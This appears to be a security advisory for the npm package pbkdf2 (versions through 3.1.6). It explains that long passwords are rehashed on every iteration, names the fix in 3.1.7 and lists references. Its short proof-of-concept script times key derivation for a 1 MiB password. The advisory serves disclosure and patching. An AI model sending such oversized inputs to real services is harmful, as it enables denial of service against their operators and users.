pbkdf2 rehashes long passwords on every iteration, enabling denial of service
What fixes it
- 3.1.7pbkdf2, npmGitHub
npm install pbkdf2@3.1.7
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
This is the same bug as Django had (CVE-2013-1443).
Details
A long password can cause a DoS because it is not using cached HMAC, length limits, or pre-hashing passwords longer than the block size of the hash function as per HMAC spec. This line of code hashes the full password each iteration: https://github.com/browserify/pbkdf2/blob/1c3b1f526b052a29b3b42120c9821895772df7e8/lib/sync.js#L60
Also see https://github.com/browserify/pbkdf2/issues/82
PoC
The first key will take a lot longer to generate when not using the native code and uses code from /lib/sync.js (ie when this if statement is true): https://github.com/browserify/pbkdf2/blob/1c3b1f526b052a29b3b42120c9821895772df7e8/index.js#L33-L37
var pbkdf2 = require('pbkdf2');
var createHash = require('create-hash');
var pw = ".".repeat(1048576); // 1 MiB
var t0 = performance.now();
var key1 = pbkdf2.pbkdf2Sync(pw, "salt", 1000, 32, "sha256");
var t1 = performance.now();
pw = createHash('sha256').update(pw).digest(); // HMAC specification for keys larger than block size
var key2 = pbkdf2.pbkdf2Sync(pw, "salt", 1000, 32, "sha256");
var t2 = performance.now();
console.log("First took: " + (t1 - t0));
console.log("Second took: " + (t2 - t1));
console.log("Generated keys:");
console.log(key1);
console.log(key2);Impact
DoS
Text from GitHub Advisory Database
Affected versions 3
- pbkdf2, npm<= 3.1.6GitHub
- pbkdf2affected: all versions through 3.1.6CVE List
- pbkdf2, npmfrom first release, fixed in 3.1.7OSV
References 6
- github.com/browserify/pbkdf2/commit/493d8d8ff437f680338bf7397398fda884ad462eFixvia GitHub
- github.com/browserify/pbkdf2/commit/493d8d8Fixvia CVE List
- github.com/advisories/GHSA-477h-4r7f-fvrxAdvisoryvia GitHub
- github.com/browserify/pbkdf2/security/advisories/GHSA-477h-4r7f-fvrxExploitvia CVE List
- nvd.nist.gov/vuln/detail/CVE-2026-102414Referencevia GitHub
- github.com/browserify/pbkdf2/issues/82Referencevia CVE List